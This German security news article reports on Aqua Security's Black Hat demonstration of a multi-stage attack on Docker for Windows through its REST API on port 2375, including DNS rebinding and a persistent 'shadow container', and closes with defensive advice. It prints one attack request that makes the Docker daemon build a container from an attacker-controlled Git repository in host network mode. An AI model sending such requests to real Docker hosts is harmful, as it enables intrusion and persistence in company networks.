beebright - Fotolia

Wie eine Docker-API gegen Unternehmen eingesetzt werden kann

Ein Sicherheitsunternehmen hat einen erfolgreichen Angriff auf Docker-Container beschrieben, mit dem sich Kriminelle Zugang zum Firmennetz verschaffen können.

Auf der Black Hat USA in diesem Jahr hat Aqua Security Software auf Gefahren durch die so genannte REST API von Docker hingewiesen. Wie das auf Container-Security spezialisierte israelische Unternehmen herausfand, lassen sich Docker-Container damit durch Hacker missbrauchen, um in Firmennetze einzudringen.

Das Ziel des demonstrierten Angriffs ist, dauerhaft fremden Code in einem Unternehmensnetz einzuschleusen und dort zu verankern. Er ist vergleichsweise kompliziert aufgebaut und muss in mehreren Stufen erfolgen, so dass er nur von Angreifern ausgeführt werden kann, die über besondere Fähigkeiten und Ressourcen verfügen.

Wenn er aber erfolgreich gegen Unternehmen eingesetzt wird, die Container in Produktivumgebungen nutzen, dann können die Folgen dramatisch sein.

Missbrauch einer Docker-API

Im ersten Abschnitt des Angriffs geht es darum, ein Opfer, zum Beispiel einen Entwickler, der Docker for Windows einsetzt, auf eine Webseite zu locken, die Schadcode enthält. Dieser Code versucht zunächst, sich mithilfe von TCP (Transmission Control Protocol) mit der Adresse tcp://localhost:2375 auf dem Rechner des Opfers zu verbinden. Gelingt dies, versucht er sich anonym an der REST API von Docker anzumelden. Diese Programmierschnittstelle greift auf die so genannte Representational-State-Transfer-Architektur zurück, die zur Maschine-zu-Maschine-Kommunikation im Internet eingesetzt wird und die die Verarbeitung von Daten erleichtern soll. Wenn die REST API von Docker den Zugriff zulässt, führt der Angriffscode einen API-Aufruf durch, um sich auf dem System festzusetzen.

Bestimmte Sicherheitsrichtlinien sollen diese Art von Zugriffen eigentlich unmöglich machen. Bis zu Version 0.5.2 von Docker for Windows war er der Zugang jedoch standardmäßig aktiviert. Stattdessen wird nun in neueren Versionen ein Unix-Socket verwendet. Das hindert Entwickler aber nicht daran, aus Gründen der Bequemlichkeit weiterhin TCP zu nutzen, warnt Aqua.

Die meisten Angriffe auf die REST API von Docker werden durch die Same Origin Policy (SOP) verhindert. Das lässt sich aber ebenfalls umgehen. Nach Angaben der Forscher kann der build-Befehl von Docker dazu missbraucht werden, weiteren Code aus einem vom Angreifer kontrollierten Git-Repository zu holen, um damit einen eigenen Container zu erstellen. Dieser Container läuft in der virtuellen Hyper-V-Maschine des Opfers sowie im Netzwerk des Hosts und kann dort dann weiteren Angriffscode ausführen. Hier ist das von Aqua veröffentlichte Beispiel:

POST http://localhost:2375/build?remote=https://github.com/<User>/<Repo>&networkmode=host

Mit diesem Befehl soll es in der Folge möglich sein, in ein fremdes Netz einzudringen, sich von dort aus weiter zu verbreiten und Informationen zu sammeln. Einen Neustart des kompromittierten Systems oder des Docker Daemons übersteht die Attacke aber nicht.

In einer zweiten Stufe versuchen die Angreifer deswegen, sich weitere Zugriffsrechte sowie eine dauerhafte Präsenz im Firmennetz zu verschaffen. Dazu muss die Same Origin Policy umgangen werden. Laut Aqua Security kann dies zum Beispiel durch einen Angriff auf das DNS (Domain Name System) erfolgen, bei dem die Namensauflösung von Windows manipuliert wird. Dazu wird ein Webserver in dem vom Angreifer erstellten Container gestartet, der unter Port 2375 erreichbar ist. Auf ihm läuft eine Seite, die so lange Anfragen an http://pwned:2375/images/json absetzt, bis der Cache des Browsers erschöpft ist und er die pwned-Webadresse mit 127.0.0.1 ersetzt.

An diesem Punkt soll es dem Angreifer möglich sein, jedes Kommando auszuführen, dass auch der REST API des Docker Daemons zur Verfügung steht. Dadurch lassen sich laut Aqua Security verschiedene Arten von Attacken durchführen, die nicht mehr nur innerhalb des Containers ablaufen, sondern die auch den virtuellen Linux-Host missbrauchen.

Im dritten und letzten Schritt des Angriffs werden mehrere Skripte genutzt, um einen Shadow Container zu erstellen. Dieser enthält Informationen über den aktuellen Status des Angriffs und aktiviert ihn jedes Mal wieder, wenn die virtuelle Maschine neu gestartet wird. So können sich die Angreifer dann dauerhaft festsetzen.

Schutz der Docker-APIs

Dieses ganze etwas umständliche Prozedere mag nach viel Aufwand für einen kleinen Nischenangriff aussehen. Aber Docker ist längst bereits aus der Nische ausgebrochen und zu einem großen Erfolg in der DevOps-Szene geworden. Nach Angaben des 2017 State of the Cloud Report von Rightscale ist die Akzeptanz von DevOps von 74 auf mittlerweile 84 Prozent angestiegen. Auch die Nutzung von Docker betrage nun schon 35 Prozent, so die Studie.

Wie Aqua Security es in einem Whitepaper formulierte, sorgen die schnelle Geschwindigkeit und die umfassende Akzeptanz des DevOps-Trends für neue Gefahren, wenn Unternehmen ihre Sicherheitsmaßnahmen nicht überdenken. Dazu kommt, dass 70 Prozent der Entwickler der Ansicht sind, dass ihre Unternehmen ihnen nur unzureichendes Training in Sicherheitsfragen ermöglichen. Drei Viertel aller an amerikanischen Colleges ausgebildeten Entwickler mussten laut Veracode im Laufe ihrer Ausbildung in den höheren Semestern keine Security-bezogenen Kurse belegen.

Soweit bekannt, ist der beschriebene Angriff auf Docker glücklicherweise bisher nur von Sicherheitsforschern, aber noch nicht von Kriminellen angewendet worden. Aqua Security hat nach eigenen Angaben bereits Bestrebungen unternommen, um den Hauptangriffsweg via TCP-API-Socket zu schließen.

Nichtsdestotrotz sollten Unternehmen mit Hilfe von Richtlinien und Kontrollen sicherstellen, dass Zugriffe via TCP/HTTP auf den Docker Daemon verhindert werden. Zugriffe auf bestimmte Ports sollten zudem nur autorisierten Clients erlaubt sein. Aqua Security empfiehlt, insbesondere den Port 2375 durch eine Firewall zu schützen.

Noch eine weitere Lektion lässt sich aus diesen Erkenntnissen gewinnen: Sicherheit beginnt bereits am Anfang eines DevOps-Projekts und darf in seinem Ablauf keinesfalls vernachlässigt werden. Es mag zwar für den Alltag vieler Entwickler angenehmer sein, diverse Zugriffsmöglichkeiten auf Container offen zu lassen. Für Angreifer ergeben sich daraus aber ebenfalls Gelegenheiten, um den Fuß in die Tür eines Unternehmens zu bekommen und sich im Firmennetz dauerhaft festzusetzen. Dort können sie dann wertvolle Daten stehlen oder Erpressungsversuche starten.

Folgen Sie SearchSecurity.de auch auf Twitter, Google+, Xing und Facebook!

Nächste Schritte

Windows Server 2016: Container-Sicherheit mit Docker

Container-Sicherheit im Blick behalten

So arbeiten DevOps und IT-Sicherheit richtig zusammen

Artikel wurde zuletzt im November 2017 aktualisiert

Pro+

Premium-Inhalte

Weitere Pro+ Premium-Inhalte und andere Mitglieder-Angebote, finden Sie hier.

Erfahren Sie mehr über Enterprise-Vulnerability-Management

Diskussion starten

Schicken Sie mir eine Nachricht bei Kommentaren anderer Mitglieder.

Mit dem Absenden dieser Daten erklären Sie sich bereit, E-Mails von TechTarget und seinen Partnern zu erhalten. Wenn Ihr Wohnsitz außerhalb der Vereinigten Staaten ist, geben Sie uns hiermit Ihre Erlaubnis, Ihre persönlichen Daten zu übertragen und in den Vereinigten Staaten zu verarbeiten. Datenschutz

Bitte erstellen Sie einen Usernamen, um einen Kommentar abzugeben.

- GOOGLE-ANZEIGEN

SearchStorage.de

SearchNetworking.de

SearchEnterpriseSoftware.de

SearchDataCenter.de

Close